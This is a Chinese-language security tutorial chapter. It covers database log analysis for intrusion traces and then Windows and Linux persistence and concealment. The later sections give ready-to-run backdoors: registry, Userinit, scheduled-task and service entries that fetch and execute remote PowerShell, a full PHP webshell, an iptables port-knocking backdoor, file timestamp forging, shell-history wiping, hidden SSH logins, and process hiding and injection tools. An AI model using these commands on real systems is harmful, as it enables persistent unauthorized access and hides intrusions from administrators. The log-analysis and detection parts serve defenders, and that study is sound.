admin管理员组

文章数量:1597400

  • 目录

    11.9 MSSQL日志分析(1)

    11.9.1 MSSQL日志分析

    日志分析例子:

    11.9.2 SQL注入入侵痕迹

    1、检查网站目录下,是否存在一些木马文件:

    2、检查是否有UDF提权、MOF提权痕迹

    3、结合web日志分析。

    11.10 MySQL日志分析(2)

    11.10.1 Mysql日志分析

    11.10.2 登录成功/失败

    Navicat for MySQL登录:

    命令行登录:

    登录失败的记录:

    利用shell命令进行简单的分析:

    敏感数据库表:

    权限维持篇

    11.11 Windows权限维持---后门篇

    11.11.1 注册表自启动

    常用的注册表启动键:

    使用以下命令可以一键实现无文件注册表后门:不落地

    Logon Scripts 后门

    userinit后门

    11.11.2 组策略设置脚本启动

    11.11.3 计划任务

    11.11.4 服务自启动

    11.11.5 WMI后门

    11.11.6 dll劫持

    11.11.7 COM劫持

    11.11.8 远程控制

    11.12 Linux

    11.12.1 前言

    11.12.2 隐藏文件

    11.12.3 隐藏文件时间戳

    11.12.4 隐藏权限

    11.12.5 隐藏历史操作命令

    技巧一:只针对你的工作关闭历史记录

    技巧二:从历史记录中删除指定的命令

    11.12.6 隐藏远程SSH登陆记录

    隐身登录系统,不会被w、who、last等指令检测到。

    不记录ssh公钥在本地.ssh目录中

    11.12.7 端口复用

    第一种方式:通过SSLH在同一端口上共享SSH与HTTPS

    第二种方式:利用IPTables进行端口复用

    11.12.8 进程隐藏

    第一种方法:libprocesshider

    如何在Linux中发现隐藏的进程,

    第二种方法:进程注入工具linux-inject

    Cymothoa——一款隐秘的后门工具。


  • 11.9 MSSQL日志分析(1)

  • 常见的数据库攻击包括弱口令、SQL注入、提升权限、窃取备份等。对数据库日志进行分析,可以发现攻击行为,进一步还原攻击场景及追溯攻击源。
  • 11.9.1 MSSQL日志分析

  • 首先,MSSQL数据库应启用日志记录功能,默认配置仅限失败的登录,需修改为失败和成功的登录,这样就可以对用户登录进行审核。
  • 登录到SQL Server Management Studio,依次点击管理--SQL Server 日志
  • 双击日志存档文件即可打开日志文件查看器,并可以对日志进行筛选或者导出等操作。
  • 另外,MSSQ提供了一个工具SQL Server Profiler ,方便查找和发现SQL执行的效率和语句问题。
  • 日志分析例子:

  • 在日志文件查看器中,选择筛选,在筛选设置中源设置为“登录”,应用筛选器,确定
  • 筛选后的结果,可以很清晰的识别用户登录信息,记录内容包括用户登录时间、登录是否成功、登录使用的账号以及远程登录时用户使用的IP地址
  • 如下:客户端:192.168.204.1进行尝试弱口令登录,并发现其中有一条登录成功的记录。
  • 11.9.2 SQL注入入侵痕迹

  • 在利用SQL注入漏洞的过程中,我们会尝试利用sqlmap的--os-shell参数取得shell,如操作不慎,可能留下一些sqlmap创建的临时表和自定义函数。我们先来看一下sqlmap os-shell参数的用法以及原理:
  • 1、构造一个SQL注入,开启Burp监听8080端口
  • sqlmap.py  -u http://192.168.204.164/sql.asp?id=1 --os-shell --proxy=http://127.0.0.1:8080`
  • HTTP通讯过程:
  • 创建了一个临时文件tmpbwyov.php,通过访问这个木马执行系统命令,并返回到页面展示。

    tmpbwyov.php:

    <?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set('max_execution_time',0);$z=@ini_get('disable_functions');if(!empty($z)){$z=preg_replace('/[, ]+/',',',$z);$z=explode(',',$z);$z=array_map('trim',$z);}else{$z=array();}$c=$c." 2>&1\n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f('system')){ob_start();system($c);$w=ob_get_contents();ob_end_clean();}elseif(f('proc_open')){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f('shell_exec')){$w=shell_exec($c);}elseif(f('passthru')){ob_start();passthru($c);$w=ob_get_contents();ob_end_clean();}elseif(f('popen')){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f('exec')){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}print "<pre>".$w."</pre>";?>

  • 创建了一个临时表sqlmapoutput,调用存储过程执行系统命令将数据写入临时表,然后取临时表中的数据展示到前端。
  • 通过查看网站目录中最近新建的可疑文件,可以判断是否发生过sql注入漏洞攻击事件。

    检查方法:

    1、检查网站目录下,是否存在一些木马文件:

    2、检查是否有UDF提权、MOF提权痕迹

    检查目录是否有异常文件

    mysql\lib\plugin
    
    c:/windows/system32/wbem/mof/

    检查函数是否删除

    select * from mysql.func

    3、结合web日志分析。

  • 通过查看数据库中最近新建的表的结构和内容,可以判断是否发生过sql注入漏洞攻击事件。
  • 检查方法:
  • 1、数据库表检查
  • 2、检查xp_cmdshell等存储过程
  • xp_cmdshell在mssql2005之后的版本中是默认禁止的,查看xp_cmdshell是否被启用
  • Exec master.dbo.xp_cmdshell 'whoami'
  • 3、通过查看日志文件的大小以及审计日志文件中的内容,可以判断是否发生过sql注入漏洞攻击事件。

  • 11.10 MySQL日志分析(2)

  • 常见的数据库攻击包括弱口令、SQL注入、提升权限、窃取备份等。对数据库日志进行分析,可以发现攻击行为,进一步还原攻击场景及追溯攻击源。
  • 11.10.1 Mysql日志分析

  • general query log能记录成功连接和每次执行的查询,我们可以将它用作安全布防的一部分,为故障分析或黑客事件后的调查提供依据。
  • 1、查看log配置信息
    show variables like '%general%';
    2、开启日志
    SET GLOBAL general_log = 'On';
    3、指定日志文件路径
    #SET GLOBAL general_log_file = '/var/lib/mysql/mysql.log';
  • 比如,当我访问 /test.php?id=1,此时我们得到这样的日志:
  • 190604 14:46:14       14 Connect    root@localhost on 
               14 Init DB    test
               14 Query    SELECT * FROM admin WHERE id = 1
               14 Quit  `
  • 我们按列来解析一下:
  • 第一列:Time,时间列,前面一个是日期,后面一个是小时和分钟,
    有一些不显示的原因是因为这些sql语句几乎是同时执行的,
    所以就不另外记录时间了。
    
    第二列:Id,就是show processlist出来的第一列的线程ID,
    对于长连接和一些比较耗时的sql语句,
    你可以精确找出究竟是那一条那一个线程在运行。
    
    第三列:Command,操作类型,比如Connect就是连接数据库,
    Query就是查询数据库(增删查改都显示为查询),可以特定过虑一些操作。
    第四列:Argument,详细信息,
    例如 Connect    root@localhost on 意思就是连接数据库,
    如此类推,接下面的连上数据库之后,做了什么查询的操作。
  • 11.10.2 登录成功/失败

  • 我们来做个简单的测试吧,使用我的弱口令工具来扫一下,字典设置比较小,2个用户,4个密码,共8组。
  • MySQL中的log记录是这样子:
  • Time                 Id        Command         Argument
    
    190601 22:03:20	   98 Connect	root@192.168.204.1 on 
    		   98 Connect	Access denied for user 'root'@'192.168.204.1' (using password: YES)
    		  103 Connect	mysql@192.168.204.1 on 
    		  103 Connect	Access denied for user 'mysql'@'192.168.204.1' (using password: YES)
    		  104 Connect	mysql@192.168.204.1 on 
    		  104 Connect	Access denied for user 'mysql'@'192.168.204.1' (using password: YES)
    		  100 Connect	root@192.168.204.1 on 
    		  101 Connect	root@192.168.204.1 on 
    		  101 Connect	Access denied for user 'root'@'192.168.204.1' (using password: YES)
    		   99 Connect	root@192.168.204.1 on 
    		   99 Connect	Access denied for user 'root'@'192.168.204.1' (using password: YES)
    		  105 Connect	mysql@192.168.204.1 on 
    		  105 Connect	Access denied for user 'mysql'@'192.168.204.1' (using password: YES)
    		  100 Query	set autocommit=0
    		  102 Connect	mysql@192.168.204.1 on 
    		  102 Connect	Access denied for user 'mysql'@'192.168.204.1' (using password: YES)
    		  100 Quit	`
  • 你知道在这个口令猜解过程中,哪个是成功的吗
  • 利用爆破工具,一个口令猜解成功的记录是这样子的:
  • 190601 22:03:20     100 Connect	root@192.168.204.1 on 
    	   100 Query	set autocommit=0
    	   100 Quit
  • 但是,如果你是用其他方式,可能会有一点点不一样的哦。
  • Navicat for MySQL登录:

  • 190601 22:14:07	  106 Connect	root@192.168.204.1 on 
    		         106 Query	SET NAMES utf8
    		         106 Query	SHOW VARIABLES LIKE 'lower_case_%'
    		         106 Query	SHOW VARIABLES LIKE 'profiling'
    		         106 Query	SHOW DATABASES
  • 命令行登录:

  • 190601 22:17:25	  111 Connect	root@localhost on 
    		         111 Query	select @@version_comment limit 1
    190601 22:17:56	  111 Quit
  • 这个差别在于,不同的数据库连接工具,它在连接数据库初始化的过程中是不同的。通过这样的差别,我们可以简单判断出用户是通过连接数据库的方式。
  • 另外,不管你是爆破工具、Navicat for MySQL、还是命令行,登录失败都是一样的记录
  • 登录失败的记录:

  • 102 Connect	mysql@192.168.204.1 on 
    102 Connect	Access denied for user 'mysql'@'192.168.204.1' (using password: YES)
  • 利用shell命令进行简单的分析:

  • #有哪些IP在爆破?
    grep  "Access denied" mysql.log |cut -d "'" -f4|uniq -c|sort -nr
         27 192.168.204.1
    
    #爆破用户名字典都有哪些?
    grep  "Access denied" mysql.log |cut -d "'" -f2|uniq -c|sort -nr
         13 mysql
         12 root
          1 root
          1 mysql
    
  • 在日志分析中,特别需要注意一些敏感的操作行为,比如删表、备库,读写文件等。关键词:drop table、drop function、lock tables、unlock tables、load_file() 、into outfile、into dumpfile。
  • 敏感数据库表:

  • SELECT * from mysql.user、SELECT * from mysql.func

  • 权限维持篇

  • 11.11 Windows权限维持---后门篇

  • 关键词:Windows系统后门、权限维持
  • 在获取服务器权限后,通常会用一些后门技术来维持服务器权限,服务器一旦被植入后门,攻击者便如入无人之境。本文将对常见的window服务端自启动后门技术进行解析,知己知彼方能杜绝后门。
  • 11.11.1 注册表自启动

  • 通过修改注册表自启动键值,添加一个木马程序路径,实现开机自启动。
  • 常用的注册表启动键:

  • # Run键 
    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
    
    # Winlogon\Userinit键
    HKEY_CURRENT_USER\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon
    
    类似的还有很多,关键词:注册表启动键值。
  • 使用以下命令可以一键实现无文件注册表后门:不落地

  • reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.3.48:8080/oqGC6z7CM8KYIiv'))\"" /f
    
    
    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run            // 向注册表添加一个新的启动项
    /v "Keyname"                                                          // 注册表项的名称为 "Keyname"
    /t REG_SZ                                                             // 注册表值的数据类型为字符串
    /d "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.3.48:8080/oqGC6z7CM8KYIiv'))\"" 
    // 设置启动时运行的命令:调用 PowerShell,执行从指定 URL 下载的脚本(以隐藏模式运行)
    /f                                                                    // 强制执行操作,即使项已存在也会覆盖
    
  • Logon Scripts 后门

  • 注册表路径
  • HKEY_CURRENT_USER\Environment\
  • 创建字符串键值:
  •  UserInitMprLogonScript
  • ,键值设置为bat的绝对路径
  • c:\test.bat
  • userinit后门

  • 在用户进行登陆时,winlogon运行指定的程序。根据官方文档,可以更改它的值来添加与删除程序。
  • 利用USERINIT注册表键实现无文件后门:
  • [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
     
    "Userinit"="C:\\Windows\\system32\\userinit.exe,C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8888/logo.gif'))\""
  • 11.11.2 组策略设置脚本启动

  • 运行gpedit.msc进入本地组策略,通过Windows设置的“脚本(启动/关机)”项来说实现。因为其极具隐蔽性,因此常常被攻击者利用来做服务器后门。
  • 容易遇到的问题:脚本需全路径,如
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 
  • 11.11.3 计划任务

  • 通过window系统的任务计划程序功能实现定时启动某个任务,执行某个脚本
  • 使用以下命令可以一键实现:
  • schtasks /create /sc minute /mo 1 /tn "Security Script" /tr "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring(\"\"\"http://192.168.3.48:8080/T5uEhVubWqF\"\"\"))\""
    
    
    schtasks /create                 // 创建一个新的计划任务
    /sc minute                       // 设定任务的调度频率为每分钟
    /mo 1                            // 任务间隔为每分钟一次
    /tn "Security Script"            // 设置任务名称为 "Security Script"
    /tr "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring(\"\"\"http://192.168.3.48:8080/T5uEhVubWqF\"\"\"))\""
    // 指定任务要执行的命令:调用 PowerShell,执行从指定 URL 下载的脚本(以隐藏模式运行)
    
  • 容易遇到的问题:cmd命令行执行单引号会被替换成双引号故这里使用三个双引号替代
  • 计划脚本每 1 分钟运行一次
  • 11.11.4 服务自启动

  • 通过服务设置自启动,结合powershell实现无文件后门
  • 使用以下命令可实现:
  • sc create "KeyName" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.3.48:8080/T5uEhVubWqF'))\""
    
    sc description  KeyName "Just For Test"   //设置服务的描述字符串
    sc config Name start= auto                //设置这个服务为自动启动
    net start Name                            //启动服务
  • 成功创建了一个自启动服务
  • 11.11.5 WMI后门

  • 在几年之前的blackhat大会上Matt Graeber介绍了一种无文件后门就是用的WMI。这里可以利用一个工具powersploit,下面用它的Persistence模块来示范一个简单的例子。
  • Import-Module .\Persistence\Persistence.psm1
    
    //导入 Persistence.psm1 模块,该模块提供了配置持久化任务所需的函数。
    
    $ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '3 PM'
    
    //创建一个名为 $ElevatedOptions 的变量,用于存储提升权限的持久化选项。设置为通过 WMI(Windows Management Instrumentation)机制永久性地每天在下午 3 点执行。
    
    $UserOptions = New-UserPersistenceOption -Registry -AtLogon
    
    //创建一个名为 $UserOptions 的变量,用于存储用户级的持久化选项。设置为在每次用户登录时通过注册表机制执行。
    
    Add-Persistence -FilePath .\web.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose
    
    //调用 Add-Persistence 函数,将 web.ps1 脚本文件配置为具有提升权限的持久化选项(每天 3 点通过 WMI 运行)和用户级持久化选项(每次用户登录时通过注册表运行)。-Verbose 参数用于输出详细的执行过程信息。
  • 11.11.6 dll劫持

  • 如果在进程尝试加载一个DLL时没有指定DLL的绝对路径,那么Windows会尝试去指定的目录下查找这个DLL;如果攻击者能够控制其中的某一 个目录,并且放一个恶意的DLL文件到这个目录下,这个恶意的DLL便会被进程所加载,从而造成代码执行。
  • 比较常用的如LPK.dll的劫持:
  • win7及win7以上系统增加了KnownDLLs保护,需要在注册表下添加 “lpk.dll” 才能顺利劫持: :
  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\ExcludeFromKnownDlls
  • 11.11.7 COM劫持

  • 利用COM劫持技术,最为关键的是dll的实现以及CLSID的选择,通过修改CLSID下的注册表键值,实现对CAccPropServicesClass和MMDeviceEnumerator劫持,而系统很多正常程序启动时需要调用这两个实例。这种方法可以绕过Autoruns对启动项的检测
  • 11.11.8 远程控制

  • 远控木马是一种恶意程序,其中包括在目标计算机上用于管理控制的后门。远程访问木马通常与用户请求的程序(如游戏程序)一起,是一种看不见的下载,或作为电子邮件附件发送。一旦主机系统被攻破,入侵者可以利用它来向其他易受感染的计算机分发远程访问木马,从而建立僵尸网络。
  • 一般分为客户端和服务端,如:灰鸽子、上兴远控、梦想时代、QuasarRAT等。

  • 11.12 Linux

  • 11.12.1 前言

  • 攻击者在获取服务器权限后,会通过一些技巧来隐藏自己的踪迹和后门文件,本文介绍Linux下的几种隐藏技术。
  • 11.12.2 隐藏文件

  • Linux 下创建一个隐藏文件:
  • touch .test.txt
  • touch 命令可以创建一个文件,文件名前面加一个 点 就代表是隐藏文件
  • 一般的Linux下的隐藏目录使用命令ls -l是查看不出来的,只能查看到文件及文件夹,查看Linux下的隐藏文件需要用到命令
  • ls -al
  • 我们可以观察在/tmp下,默认存在多个隐藏目录,这些目录是恶意文件常用来藏身的地方。如
  • /temp/.ICE-unix/、/temp/.Test-unix/、/temp/.X11-unix/、/temp/.XIM-unix/
  • 11.12.3 隐藏文件时间戳

  • Unix 下藏后门必须要修改时间,否则很容易被发现,直接利用 touch 就可以了。
  • 比如参考 index.php 的时间,再赋给 webshell.php,结果两个文件的时间就一样了。
  • 利用方法
  • touch -r index.php webshell.php
  • 或者直接将时间戳修改成某年某月某日。如下 2014 年 01 月 02 日。
  • touch -t 1401021042.30 webshell.php
  • 11.12.4 隐藏权限

  • 在Linux中,使用chattr命令来防止root和其他管理用户误删除和修改重要文件及目录,此权限用ls -l是查看不出来的,从而达到隐藏权限的目的。
  • 这个技巧常被用在后门,变成了一些难以清除的后门文件,令很多师傅感到头疼。
  • chattr +i evil.php 锁定文件
    lsattr  evil.php   属性查看
    chattr -i evil.php 解除锁定
    rm -rf 1.evil.php  删除文件
  • 11.12.5 隐藏历史操作命令

  • 在shell中执行的命令,不希望被记录在命令行历史中,如何在linux中开启无痕操作模式呢?
  • 技巧一:只针对你的工作关闭历史记录

  • [space]set +o history
    备注:[space] 表示空格。并且由于空格的缘故,该命令本身也不会被记录。
  • 上面的命令会临时禁用历史功能,这意味着在这命令之后你执行的所有操作都不会记录到历史中,然而这个命令之前的所有东西都会原样记录在历史列表中。
  • 要重新开启历史功能,执行下面的命令:
  • [Space]set -o history
    它将环境恢复原状,也就是你完成了你的工作,执行上述命令之后的命令都会出现在历史中。
  • 技巧二:从历史记录中删除指定的命令

  • 假设历史记录中已经包含了一些你不希望记录的命令。这种情况下我们怎么办?很简单。通过下面的命令来删除:
  • history | grep "keyword"
  • 输出历史记录中匹配的命令,每一条前面会有个数字。从历史记录中删除那个指定的项:
  • history -d [num]
  • 这种技巧是关键记录删除,或者我们可以暴力点,比如前150行是用户的正常操作记录,150以后是攻击者操作记录。我们可以只保留正常的操作,删除攻击痕迹的历史操作记录,这里,我们只保留前150行:
  • sed -i '150,$d' .bash_history
  • 11.12.6 隐藏远程SSH登陆记录

  • 隐身登录系统,不会被w、who、last等指令检测到

  • ssh -T root@127.0.0.1 /bin/bash -i
  • 不记录ssh公钥在本地.ssh目录中

  • ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i
  • 11.12.7 端口复用

  • 通过端口复用来达到隐藏端口的目的,在Linux下,如何实现端口复用呢?
  • 第一种方式:通过SSLH在同一端口上共享SSH与HTTPS

  •  #安装SSLH
     sudo apt-get install sslh
     #配置SSLH
     编辑 SSLH 配置文件:
     sudo vi /etc/default/sslh
     1、找到下列行:Run=no  将其修改为:Run=yes
     2、修改以下行以允许 SSLH 在所有可用接口上侦听端口 443
     DAEMON_OPTS="--user sslh --listen 0.0.0.0:443 --ssh 127.0.0.1:22 --ssl 127.0.0.1:443 --pidfile /var/run/sslh/sslh.pid"
  • 第二种方式:利用IPTables进行端口复用

  • # 端口复用链【在 nat 表中创建一个名为 LETMEIN 的新链(chain)。nat 表用于处理网络地址转换(NAT)相关的规则。】
    iptables -t nat -N LETMEIN
    
    
    # 端口复用规则【在 LETMEIN 链中添加一条规则,将所有进入 LETMEIN 链的 TCP 流量重定向到端口 22。端口 22 通常用于 SSH 服务。】
    iptables -t nat  -A LETMEIN -p tcp -j REDIRECT --to-port 22
    
    
    # 开启开关【在 INPUT 链中添加一条规则,匹配包含字符串 'threathuntercoming' 的 TCP 数据包。使用 recent 模块来跟踪这些数据包,并将它们标记为 letmein。这些匹配的包会被接受。】
    iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
    
    
    # 关闭开关【在 INPUT 链中添加一条规则,匹配包含字符串 'threathunterleaving' 的 TCP 数据包。使用 recent 模块来移除之前标记为 letmein 的记录。这些匹配的包也会被接受。】
    iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT
    # let's do it
    iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
  • 利用方式
  • #开启复用
    echo threathuntercoming | socat - tcp:192.168.28.128:80
    #ssh使用80端口进行登录
    ssh -p 80 root@192.168.28.128
    #关闭复用
    echo threathunterleaving | socat - tcp:192.168.28.128:80
  • 具体文章详见:远程遥控 IPTables 进行端口复用
  • 11.12.8 进程隐藏

  • 管理员无法通过相关命令工具查找到你运行的进程,从而达到隐藏目的,实现进程隐藏。
  • 第一种方法:libprocesshider

  • github项目地址
  • 利用 LD_PRELOAD 来实现系统函数的劫持,实现如下
  • # 下载程序编译
    git clone https://github/gianlucaborello/libprocesshider.git
    cd libprocesshider/ && make
    # 移动文件到/usr/local/lib/目录下
    cp libprocesshider.so /usr/local/lib/
    # 把它加载到全局动态连接局
    echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
  • 测试:运行 evil_script.py,
  • 此时发现在top 与 ps 中都无法找到 evil_script.py, cpu 使用率高,但是却找不到任何占用cpu高的程序。
  • 如何在Linux中发现隐藏的进程,

  • unhide 是一个小巧的网络取证工具,能够发现那些借助rootkit,LKM及其它技术隐藏的进程和TCP / UDP端口。这个工具在Linux,UNIX类,MS-Windows等操作系统下都可以工作
  • 下载地址:Unhide homepage - Welcome
  • # 安装
    sudo yum install unhide
    # 使用
    unhide [options] test_list
  • 使用unhide proc发现隐藏进程evil_script.py
  • 第二种方法:进程注入工具linux-inject

  • linux-inject是用于将共享对象注入Linux进程的工具
  • github项目地址: GitHub - gaffe23/linux-inject: Tool for injecting a shared object into a Linux process
  • # 下载程序编译
    git clone https://github/gaffe23/linux-inject.git
    cd linux-inject && make
    # 测试进程
    ./sample-target
    # 进程注入
    ./inject -n sample-target sample-library.so
  •  验证进程注入成功
  • Cymothoa——一款隐秘的后门工具

  • 它通过向目标主机活跃的进程注入恶意代码,从而获取和原进程相同的权限。该工具最大的优点就是不创建新的进程,不容易被发现
  • 下载地址:https://sourceforge/projects/cymothoa/files/cymothoa-1-beta/
  • # 下载解压
    wget https://jaist.dl.sourceforge/project/cymothoa/cymothoa-1-beta/cymothoa-1-beta.tar.gz
    tar zxvf cymothoa-1-beta.tar.gz 
    # 
    cd cymothoa-1-beta && make
    
    

 ...

本文标签: 网络安全最全面权限技巧详细